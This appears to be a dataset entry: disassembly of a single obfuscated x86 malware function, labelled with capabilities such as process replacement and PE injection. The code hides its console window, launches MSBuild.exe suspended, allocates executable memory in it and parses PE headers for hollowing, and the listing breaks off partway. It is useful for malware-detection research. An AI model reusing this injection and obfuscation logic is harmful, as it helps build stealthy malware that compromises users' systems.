Function at 0x10003640
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x178
mov eax, dword [0x10068604]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x180], 0x8ca961b3
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x184], eax
sub eax, 0x8157aa07
je 0x100044e9
jmp 0x1000367c
mov eax, dword [ebp - 0x184]
sub eax, 0x82b4f859
je 0x10005c84
jmp 0x10003692
mov eax, dword [ebp - 0x184]
sub eax, 0x831a2880
je 0x10006d27
jmp 0x100036a8
mov eax, dword [ebp - 0x184]
sub eax, 0x8475a3bf
je 0x1000615e
jmp 0x100036be
mov eax, dword [ebp - 0x184]
sub eax, 0x8659b624
je 0x100062eb
jmp 0x100036d4
mov eax, dword [ebp - 0x184]
sub eax, 0x874c0c60
je 0x10005a25
jmp 0x100036ea
mov eax, dword [ebp - 0x184]
sub eax, 0x88937fc9
je 0x10006ae3
jmp 0x10003700
mov eax, dword [ebp - 0x184]
sub eax, 0x8a70970c
je 0x100057ef
jmp 0x10003716
mov eax, dword [ebp - 0x184]
sub eax, 0x8ca961b3
je 0x1000442b
jmp 0x1000372c
mov eax, dword [ebp - 0x184]
sub eax, 0x8f35f8c2
je 0x100056c4
jmp 0x10003742
mov eax, dword [ebp - 0x184]
sub eax, 0x9274a18b
je 0x1000537e
jmp 0x10003758
mov eax, dword [ebp - 0x184]
sub eax, 0x928450f4
je 0x10006021
jmp 0x1000376e
mov eax, dword [ebp - 0x184]
sub eax, 0x93713912
je 0x10004e8d
jmp 0x10003784
mov eax, dword [ebp - 0x184]
sub eax, 0x93e46651
je 0x10004efa
jmp 0x1000379a
mov eax, dword [ebp - 0x184]
sub eax, 0x94119fac
je 0x1000688e
jmp 0x100037b0
mov eax, dword [ebp - 0x184]
sub eax, 0x96ceb080
je 0x10005b89
jmp 0x100037c6
mov eax, dword [ebp - 0x184]
sub eax, 0x993cdf74
je 0x10006ba2
jmp 0x100037dc
mov eax, dword [ebp - 0x184]
sub eax, 0x9a75d7c6
je 0x10006cd8
jmp 0x100037f2
mov eax, dword [ebp - 0x184]
sub eax, 0x9ad3e0ac
je 0x10005357
jmp 0x10003808
mov eax, dword [ebp - 0x184]
sub eax, 0x9bd2cb18
je 0x10006b0c
jmp 0x1000381e
mov eax, dword [ebp - 0x184]
sub eax, 0x9d5c3b89
je 0x10006ace
jmp 0x10003834
mov eax, dword [ebp - 0x184]
sub eax, 0xa1686bc6
je 0x1000697d
jmp 0x1000384a
mov eax, dword [ebp - 0x184]
sub eax, 0xa2042ef9
je 0x10005ce4
jmp 0x10003860
mov eax, dword [ebp - 0x184]
sub eax, 0xa2f23774
je 0x100050a2
jmp 0x10003876
mov eax, dword [ebp - 0x184]
sub eax, 0xa34ffb2d
je 0x1000495c
jmp 0x1000388c
mov eax, dword [ebp - 0x184]
sub eax, 0xa35cf4ac
je 0x10005e2e
jmp 0x100038a2
mov eax, dword [ebp - 0x184]
sub eax, 0xa60e2c28
je 0x10006dd7
jmp 0x100038b8
mov eax, dword [ebp - 0x184]
sub eax, 0xa7379bf1
je 0x10004c09
jmp 0x100038ce
mov eax, dword [ebp - 0x184]
sub eax, 0xa7c76ac7
je 0x100052f3
jmp 0x100038e4
mov eax, dword [ebp - 0x184]
sub eax, 0xa8c036f5
je 0x100063b0
jmp 0x100038fa
mov eax, dword [ebp - 0x184]
sub eax, 0xa949b6da
je 0x10006b93
jmp 0x10003910
mov eax, dword [ebp - 0x184]
sub eax, 0xaf520ac7
je 0x10006bfa
jmp 0x10003926
mov eax, dword [ebp - 0x184]
sub eax, 0xb01afd32
je 0x100064bf
jmp 0x1000393c
mov eax, dword [ebp - 0x184]
sub eax, 0xb0a758fe
je 0x10005059
jmp 0x10003952
mov eax, dword [ebp - 0x184]
sub eax, 0xb4542c80
je 0x10006852
jmp 0x10003968
mov eax, dword [ebp - 0x184]
sub eax, 0xb7c4a0f6
je 0x10006784
jmp 0x1000397e
mov eax, dword [ebp - 0x184]
sub eax, 0xbb03cef0
je 0x10004f7f
jmp 0x10003994
mov eax, dword [ebp - 0x184]
sub eax, 0xbc34a204
je 0x10006680
jmp 0x100039aa
mov eax, dword [ebp - 0x184]
sub eax, 0xbd7d6d90
je 0x10005fad
jmp 0x100039c0
mov eax, dword [ebp - 0x184]
sub eax, 0xc2360fc0
je 0x10004e01
jmp 0x100039d6
mov eax, dword [ebp - 0x184]
sub eax, 0xc3dc8401
je 0x1000589e
jmp 0x100039ec
mov eax, dword [ebp - 0x184]
sub eax, 0xc409ebea
je 0x10004d1a
jmp 0x10003a02
mov eax, dword [ebp - 0x184]
sub eax, 0xcba79dc4
je 0x10004eae
jmp 0x10003a18
mov eax, dword [ebp - 0x184]
sub eax, 0xd3003c97
je 0x10005b01
jmp 0x10003a2e
mov eax, dword [ebp - 0x184]
sub eax, 0xd410be82
je 0x10004474
jmp 0x10003a44
mov eax, dword [ebp - 0x184]
sub eax, 0xd6ab6a7a
je 0x10005ed3
jmp 0x10003a5a
mov eax, dword [ebp - 0x184]
sub eax, 0xd743a37d
je 0x100055bf
jmp 0x10003a70
mov eax, dword [ebp - 0x184]
sub eax, 0xe09429d8
je 0x10006616
jmp 0x10003a86
mov eax, dword [ebp - 0x184]
sub eax, 0xe233df2c
je 0x10004db1
jmp 0x10003a9c
mov eax, dword [ebp - 0x184]
sub eax, 0xe246b927
je 0x10005cf3
jmp 0x10003ab2
mov eax, dword [ebp - 0x184]
sub eax, 0xe3df6606
je 0x100059fb
jmp 0x10003ac8
mov eax, dword [ebp - 0x184]
sub eax, 0xe408170d
je 0x10004a4a
jmp 0x10003ade
mov eax, dword [ebp - 0x184]
sub eax, 0xe498f10a
je 0x1000603f
jmp 0x10003af4
mov eax, dword [ebp - 0x184]
sub eax, 0xe588c0af
je 0x10006843
jmp 0x10003b0a
mov eax, dword [ebp - 0x184]
sub eax, 0xe641a0bb
je 0x10005991
jmp 0x10003b20
mov eax, dword [ebp - 0x184]
sub eax, 0xe8ee0851
je 0x1000694d
jmp 0x10003b36
mov eax, dword [ebp - 0x184]
sub eax, 0xea02a563
je 0x100067f2
jmp 0x10003b4c
mov eax, dword [ebp - 0x184]
sub eax, 0xf144a885
je 0x10004f09
jmp 0x10003b62
mov eax, dword [ebp - 0x184]
sub eax, 0xf263a897
je 0x10006cba
jmp 0x10003b78
mov eax, dword [ebp - 0x184]
sub eax, 0xf2d2a0ee
je 0x10004fd4
jmp 0x10003b8e
mov eax, dword [ebp - 0x184]
sub eax, 0xf3f9b96a
je 0x10005580
jmp 0x10003ba4
mov eax, dword [ebp - 0x184]
sub eax, 0xf4529070
je 0x1000695c
jmp 0x10003bba
mov eax, dword [ebp - 0x184]
sub eax, 0xf58c41b7
je 0x1000487a
jmp 0x10003bd0
mov eax, dword [ebp - 0x184]
sub eax, 0xf67621e7
je 0x10006599
jmp 0x10003be6
mov eax, dword [ebp - 0x184]
sub eax, 0xf74cd56c
je 0x10006a3d
mov eax, dword [0x10069898]
mov ecx, dword [0x10069894]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x656ffb5b
mov ecx, 0xd410be82
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
mov eax, dword [0x10069898]
mov ecx, dword [0x10069894]
mov edx, eax
add edx, 0x4af88e99
sub edx, 1
sub edx, 0x4af88e99
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x656ffb5b
mov ecx, 0x8157aa07
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov dword [ebp - 0x180], 0x55cae064
jmp 0x10006df0
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x14c]
mov dword [eax], 0x10007
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10008260
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10008260
add esp, 0xc
mov eax, dword [ebp - 0x148]
add eax, 0x18
mov dword [ebp - 0x104], eax
mov eax, dword [0x10069898]
mov ecx, dword [0x10069894]
mov edx, eax
add edx, 0x68a8b22f
sub edx, 1
sub edx, 0x68a8b22f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf74cd56c
mov ecx, 0xa34ffb2d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov dword [ebp - 0x180], 0x37b07ae6
jmp 0x10006df0
mov dword [ebp - 0x180], 0x462c5f97
jmp 0x10006df0
mov edx, dword [ebp - 0x154]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xfd], al
mov eax, dword [0x10069898]
mov ecx, dword [0x10069894]
mov edx, eax
sub edx, 0x7e1782e
sub edx, 1
add edx, 0x7e1782e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9bd2cb18
mov ecx, 0x420d95e3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov ecx, dword [0x10069898]
mov eax, dword [0x10069894]
mov edx, ecx
sub edx, 0x4f38a783
sub edx, 1
add edx, 0x4f38a783
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfd983a58
mov ecx, 0x2893ad0c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0x180], 0x191df5a4
jmp 0x10006df0
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.10002db0
add esp, 4
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x148]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x148]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x15c], eax
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x68]
xor eax, eax
lea eax, [ebp - 0x6c]
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x180], 0x93713912
jmp 0x10006df0
mov edx, dword [ebp - 0xf8]
mov eax, 0xcba79dc4
mov ecx, 0xf144a885
cmp edx, 0
cmovge eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov dword [ebp - 0x68], 0
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x68]
xor eax, eax
lea eax, [ebp - 0x6c]
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x180], 0x93e46651
jmp 0x10006df0
mov dword [ebp - 0x180], 0xf144a885
jmp 0x10006df0
mov ecx, dword [0x10069898]
mov eax, dword [0x10069894]
mov edx, ecx
sub edx, 0x6ccde858
sub edx, 1
add edx, 0x6ccde858
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1536e929
mov ecx, 0xbb03cef0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0xf4], eax
mov eax, dword [0x10069898]
mov ecx, dword [0x10069894]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1536e929
mov ecx, 0xf2d2a0ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov dword [ebp - 0x180], 0xfef1962
jmp 0x10006df0
mov eax, dword [0x10069898]
mov ecx, dword [0x10069894]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa949b6da
mov ecx, 0xa2f23774
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x148]
add eax, 4
add eax, 2
mov dword [ebp - 0xec], eax
mov ecx, dword [0x10069898]
mov eax, dword [0x10069894]
mov edx, ecx
sub edx, 0x6cc891a7
sub edx, 1
add edx, 0x6cc891a7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa949b6da
mov ecx, 0x521cb6fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov dword [ebp - 0x180], 0xb0a758fe
jmp 0x10006df0
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x180], 0x9274a18b
jmp 0x10006df0
mov eax, dword [ebp - 0xd4]
movzx esi, word [eax + 6]
mov edx, dword [ebp - 0xd8]
mov eax, 0x874c0c60
mov ecx, 0x4e7ebcc0
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x164]
imul ecx, dword [ebp - 0x174], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x180], 0xd743a37d
jmp 0x10006df0
mov ecx, dword [0x10069898]
mov eax, dword [0x10069894]
mov edx, ecx
add edx, 0xb4c40c1b
sub edx, 1
sub edx, 0xb4c40c1b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3a0863c1
mov ecx, 0x7aac0aac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov ecx, dword [0x10069898]
mov eax, dword [0x10069894]
mov edx, ecx
sub edx, 0x52b60a95
sub edx, 1
add edx, 0x52b60a95
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x72d13eb6
mov ecx, 0x36e2fb28
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov dword [ebp - 0x180], 0x19bc48e1
jmp 0x10006df0
mov ecx, dword [0x10069898]
mov eax, dword [0x10069894]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf7ac174f
mov ecx, 0x29aa523f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov eax, dword [ebp - 0x174]
add eax, 0xf292b0f5
add eax, 1
sub eax, 0xf292b0f5
mov dword [ebp - 0xa8], eax
mov eax, dword [0x10069898]
mov ecx, dword [0x10069894]
mov edx, eax
add edx, 0xcb75dae4
sub edx, 1
sub edx, 0xcb75dae4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6a4cbd46
mov ecx, 0xe3df6606
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov dword [ebp - 0x180], 0x73102831
jmp 0x10006df0
cmp dword [ebp - 0x15c], 0
setne al
and al, 1
mov byte [ebp - 0xa1], al
mov dword [ebp - 0x180], 0x1681cd93
jmp 0x10006df0
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x180], 0x70e7d801
jmp 0x10006df0
mov ecx, dword [0x10069898]
mov eax, dword [0x10069894]
mov edx, ecx
sub edx, 0x9cd80a63
sub edx, 1
add edx, 0x9cd80a63
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf263a897
mov ecx, 0x73f15c3b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax + 4]
mov dword [ebp - 0x9c], eax
mov eax, dword [0x10069898]
mov ecx, dword [0x10069894]
mov edx, eax
sub edx, 0xeffdd196
sub edx, 1
add edx, 0xeffdd196
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x12f4241b
mov ecx, 0xa2042ef9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov dword [ebp - 0x180], 0xe246b927
jmp 0x10006df0
mov edx, dword [ebp - 0x9c]
mov eax, 0x3fa800d0
mov ecx, 0x30f0b95f
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov ax, word [ebp - 0x8e]
movzx eax, ax
mov ecx, 0xffffffff
xor ecx, 0xf000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0xbd7d6d90
mov ecx, 0x564f5263
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x8c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov edx, eax
mov eax, 0x2d04f7f3
mov ecx, 0x16ccd59f
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov dword [ebp - 0x180], 0x1f71a9ef
jmp 0x10006df0
mov dword [ebp - 0x180], 0x491e00a0
jmp 0x10006df0
mov ecx, dword [0x10069898]
mov eax, dword [0x10069894]
mov edx, ecx
add edx, 0xdad35fef
sub edx, 1
sub edx, 0xdad35fef
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9a75d7c6
mov ecx, 0x105f2a2d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov dword [ebp - 0x180], 0x79c00048
jmp 0x10006df0
mov eax, dword [0x10069898]
mov ecx, dword [0x10069894]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x763d220b
mov ecx, 0xaacde8e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov dl, byte [ebp - 0x79]
mov eax, 0xf67621e7
mov ecx, 0x65eb45fd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov dword [ebp - 0x180], 0x4244003e
jmp 0x10006df0
mov dword [ebp - 0x180], 0x51af4117
jmp 0x10006df0
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x148]
add eax, 0x18
mov dword [ebp - 0x70], eax
mov eax, dword [0x10069898]
mov ecx, dword [0x10069894]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x378d00ef
mov ecx, 0x781494d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov eax, dword [0x10069898]
mov ecx, dword [0x10069894]
mov edx, eax
add edx, 0xac76f33a
sub edx, 1
sub edx, 0xac76f33a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1d429ff8
mov ecx, 0xff3a60f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov ecx, dword [0x10069898]
mov eax, dword [0x10069894]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa60e2c28
mov ecx, 0xea02a563
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov eax, dword [0x10069898]
mov ecx, dword [0x10069894]
mov edx, eax
add edx, 0xf94928a5
sub edx, 1
sub edx, 0xf94928a5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa60e2c28
mov ecx, 0xe588c0af
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov dword [ebp - 0x180], 0xb4542c80
jmp 0x10006df0
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x180], 0x8c3915c
jmp 0x10006df0
mov ecx, dword [0x10069898]
mov eax, dword [0x10069894]
mov edx, ecx
sub edx, 0xd85331e0
sub edx, 1
add edx, 0xd85331e0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x69834940
mov ecx, 0x2c4c2bec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x10006df0
mov dword [ebp - 0x180], 0xf4529070
jmp 0x10006df0
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10007630
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010b0
add esp, 4
lea eax, [0x100121d1]
sub esp, 4
mov dword [esp], eax
call fcn.100010b0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x50600
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x180], 0xe8c479d
jmp 0x10006df0
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x180], 0xfb468c46
jmp 0x10006df0
mov al, byte [ebp - 0xff]
and al, 1
mov byte [ebp - 0x14d], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x180], 0xfcde1a57
jmp 0x10006df0
mov edx, dword [ebp - 0x154]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x180], 0xa7379bf1
jmp 0x10006df0
mov dword [ebp - 0x180], 0xa2f23774
jmp 0x10006df0
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
sub eax, 0x40340ffa
add eax, 1
add eax, 0x40340ffa
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x180], 0x4cd6afaa
jmp 0x10006df0
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x180], 0x61134b97
jmp 0x10006df0
mov dword [ebp - 0x180], 0x96ceb080
jmp 0x10006df0
mov ecx, dword [ebp - 0x158]
add ecx, 0x2eacec64
add ecx, 8
sub ecx, 0x2eacec64
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x68]
xor esi, esi
